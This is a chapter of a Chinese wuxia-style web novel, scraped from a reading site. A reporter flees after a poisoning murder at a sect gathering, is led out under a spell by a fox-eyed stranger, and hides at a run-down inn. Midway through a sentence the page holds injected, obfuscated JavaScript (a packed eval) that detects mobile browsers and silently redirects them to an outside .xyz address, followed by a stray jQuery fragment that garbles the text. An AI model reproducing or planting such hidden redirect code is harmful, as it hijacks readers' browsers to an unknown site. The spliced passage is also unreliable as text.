默认冷灰
24号文字
方正启体

3. 第三章

作者:婋女本书字数:K更新时间:
    所有人被送回南园接受调查,虽然不能出去,可南山派每日好吃好喝地供着他们。


    章萸为罗冲惋惜,这么年轻的生命,竟然说没就没了。生命之脆弱,让章萸更加坚信,贪生怕死是正确的处世之道。


    喜喜从外面跑回来,激动地说:“我刚刚溜去其他院,打听到一个惊天大瓜。你们猜是谁杀了罗冲?竟然是将少主!罗冲乃中毒身亡。偏偏就这么巧,南山派自诩公正,连自家人都不放过,在将少主身上搜出了一个香囊,里面装着害死罗冲的毒药!那个毒药是新研发的,叫什么髓骨……”


    “髓、骨、散。”章萸脸都白了。


    “没错,就是这个名字。咦,你怎么会知道?”


    这个消息惊得章萸五雷轰顶。


    完、蛋、了!章萸想到那场神秘交易,将省该不会以为,是她泄露的消息吧?既然是新毒药,只要将省不供出来,无人会知道这毒药的名字。可是髓骨散都传出来了,一定是有其他人也看见了!哪个人会是谁?既然看见交易,必然也看到了她!


    此时一个念头浮上章萸心头:马上跑路!


    她才不管什么将少主神秘人了,都是一帮坏人干的事,可别往她身上扯!


    况且,喜喜和佩祁都不太会武功,要是牵扯到他们,就是章萸的过错了。这件事不能害到他们,章萸必须逃离,将他们撇得干净。


    尔后,她趁佩祁和喜喜午睡时,草草收拾好包袱,欲哭无泪地匆匆离去。只留下一张纸条:家中有事,先一步离开,原谅我!!!


    她离开院子,却发现南园大门被记者们围得水泄不通:“是你们少主杀了罗冲,为什么不让我们离开?凭什么把我们关起来!”


    “就是!”


    “让我们出去!”


    你一句我一句,气焰高涨,几乎势不可挡,却在门外弟子亮剑时,陡然熄灭。记者们大多是三脚猫功夫,根本比不上这些练家子,一个接一个地灰溜溜离开。


    看来,真理只在“刀剑”之间。


    章萸绝望地闭上眼,她如今成了待宰羔羊。将省想杀她,简直轻而易举。更何况东窗事发,就算他不动手,想杀她的将家人也会替他出手。


    她打了个冷颤,如果将家把一切都推到她的头上......


    桥边雨的昆曲演唱会还没去过,辛苦攒的钱还没去高丽做水光美白……章萸在心里无限哀嚎,一头撞在树上,哐哐哐用拳头击打着树来发泄。


    “姑娘这是怎么了?”


    章萸抬起头,竟是狐狸公子。


    狐狸公子温柔地说:“有什么我能帮忙的吗?”


    那双狐狸眼又开始笑了,笑意和话都语带着蛊惑人心的能力,极具诱惑地催使章萸说出真相。


    “没什么!”章萸刹住话头,只道:“家中有急事,故决定离开。没想到南山派的弟子将这里围了起来,这下更出不去了。”


    狐狸公子用折扇轻轻拍了拍章萸的脑袋,“这有何难,你跟着我就行。”


    “当真?”章萸不可思议地惊呼。


    狐狸公子微微一笑,徐徐打开折扇,挡住了章萸的面容。纸扇逆着光,模糊了视线,扇外一道朦胧的身影伸出手,隔着扇子轻轻搭在章萸唇上:“嘘。”


    随着花谢花飞,一股异香袭来,章萸突然瞳孔渐散,跟在狐狸公子身边,一步一步向大门走去。


    门口的弟子见二人走进,纷纷亮出武器,但狐狸公子走近后,他们也同章萸一样,瞳孔涣散的呆滞站着。


    随着狐狸公子一声令下,弟子乖乖打开大门。二人走出南园后,再乖乖地关上大门。狐狸公子悠哉地引着章萸离开,待那股异香散去,南山弟子这才清醒过来,可他们好似记不清发生了什么,仍旧在大门旁站岗。


    狐狸公子在远处停下脚步,他抬起手指,指尖赫然沁出一抹血滴。又一抬手,将血珠隔着扇子印在章萸唇上。那洁白的扇上,赫然出现一颗妖冶的红点。


    狐狸公子收起扇子,章萸仍一副呆呆的样子。他一挥衣袖,异香散去,章萸神色渐渐恢复清明。她惊讶地发现已身处南苑之外,却一点也想不起,是如何出的南苑。


    “你出来了。”狐狸公子含笑。


    “等等,我是怎么出来的?我竟然出来了,真是太不可思议。”章萸一拍脑袋,可里面一点记忆都无。


    “我自有妙计。如今你已出来,便赶紧回家吧。”


    也罢,既然心愿达成,其他的就无所谓。章萸向人道谢,“谢谢狐狸公子,还不知道你叫什么名字?我叫章萸,在京城的《江湖娱报》工作,这份恩情我会记住的,有什么事可找我帮忙。”


    “我叫花逞。逞强的逞。”


    章萸记下了这个名字,忽然觉得这个姓有点耳熟,好像是哪个门派的姓氏。却无论如何,都想不起来。算了,眼下保命要紧,她必须先走一步:“花公子,我先行一步,江湖有缘再见!”


    花逞望着章萸离去的背影,心道:“倒是真像鱼一样,游得很快。”他重新展开折扇,扇子一面是淡红的唇印,一面是沁红的血滴。他迎着日光端详,两处扇面重合,血滴正好落进唇中,像被盈盈含住的丹药。


    章萸不敢回报社,毕竟这是工作地点,很容易被找上门。她决定反其道而行之,往南州相反的方向逃亡。


    一路向南下,就是粤港澳地区,那边经济发达,船运也发达,人又多。这人一多,比例上去了,她不就“大隐隐于市”了么?再说,实在不行,还能坐船出国,方便逃命。


    这般想着,章萸觉得人生多了一重希望,便雇了一匹马,快马加鞭地往粤州赶去。


    粤州离南州最快也要五日的路程,这几日风尘仆仆,苦得章萸都没睡过安稳觉。好不容易到了粤州,过了城门大楼,可悬着的心仍不敢松懈。她揣着兜里并不富裕的银子,只能挨家挨户找客栈。


    江石国际大酒店,里面住着好多波斯、东瀛等的商人。环境优美,安保得力,但价格高昂。章萸掂了掂银子,目前她住不起这高档酒店。可好几家快捷酒店都是西山派旗下的,他们与南山派交好,若是她的信息被泄露出去,怕是活不过今晚。


    思来想去,章萸决定找个民宿。毕竟私人老板,信息不会在江湖中联网,自己被找到的概率能大大降低。


    她买了份江州旅游指南,翻到客栈推荐那一拦,最终挑中了一个价格合适、隐蔽性高的民俗。重点是距离城郊很近,方便她跑路。


    这般想来,章萸骑着小马,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446252|185111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阴霾一扫无余,乐呵呵地往城西而去。


    四个大字“衡阳客栈”落在饱经风霜的牌匾上,在夕阳下显得萧瑟惨淡。


    章萸望着杂草中的那间木屋客栈,难以置信地将旅游指南看了三遍。说好的氧气养生、风景秀丽的客栈呢?诈骗!都是诈骗!


    可天色渐晚,重新找客栈又麻烦,她只好硬着头皮进去。大厅有些许昏暗,檐角还有蜘蛛网,前台没有人,摆满了酒,暗红的横幅斜斜挂在柱上,“衡阳客栈欢迎你”几个字,像做鬼脸一样冲章萸笑。


    她害怕起来,心道:“不如跑吧?哪怕在街头露宿也比这里强。”这般想着,不由往后退,退了两步,不知踩到何物,发出清脆的声响。一同响起的,还有一道洪亮的声音:“客官住店么?”


    章萸僵硬地回首,见一红衣夫人抱着酒桶,气势汹汹地走过来,从酒桶里抽出一枚钥匙,干脆利落地丢进章萸怀中:“二楼右厢房。”


    章萸呆滞地看了看怀中的钥匙,吞吞吐吐道:“我还没想好……”


    “没想好?!你进来不就是为了住店么?”红衣夫人将酒桶“哐”地一声撂在地上,激起尘灰扬扬。力度之大,想必是习武之人。


    章萸见状,不敢多言,只好拿着钥匙往二楼去。不过这个店家是位妇人,女性之间天然的身份让她稍稍放心。


    这厢房不大,简朴却很干净。章萸累得半死,刚一沾床,方昏睡过去。


    待章萸醒来时,已是日暮时分,火红的日落映着芦苇,远处的沼泽波光粼粼,一只毛驴低头吃草,颇有浪迹天涯之感。


    章萸睡得迷迷糊糊,自己睡下的时候是傍晚,醒来还是傍晚呢?她洗了把脸下楼,红衣夫人神色凝重地低着头,听见章萸下楼的声音,竟头也没抬。


    大厅里竟然有一桌客人,看模样像是赶路的,章萸这才看到墙上的挂历,原来自己睡了几乎一天。


    “昨日南州与粤州交界处,爆发了一场大战,听说那场大战很是刺激。南山派死了不少弟子,不知是哪位高人出世了?”


    “南山派可是天下第一大宗门,谁敢招惹!怎么好端端地被人团灭了?”


    大厅内只有他们一桌,因而谈话声特别响亮。


    “嘘!还不是锤鼎门大弟子罗冲身亡的事。原来真凶是南山派少主将省!这事在江湖中传得沸沸扬扬。”


    “竟是他!看来知人知面不知心。不过将省怎么会杀他?二人无冤无仇。”


    “十几年前北山派灭门后,这第一宗门的称号,才落到南山派头上。如今四大门派有一个空位,大家都想角逐进入。锤鼎门百年宗门,实力雄厚,早就想跻进四大了!一旦成为新四大,罗冲和将省可就是对家了,来日少辈武功第一人,未必再是将省。“


    “唉......罗冲死了,将省也死了。真不知道不知是谁害的将省。”


    “还能有谁?八九不离十是锤鼎门,为了给大弟子冲报仇呗。”


    “我看未必,这太过明显了。将省一死,南山派肯定会出手复仇的。看来江湖要有一场大战了。”


    ………


    后面的话章萸恍若耳闻,唯有一句话不断在脑中回响——


    南山派少主将省,竟然已经身亡!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)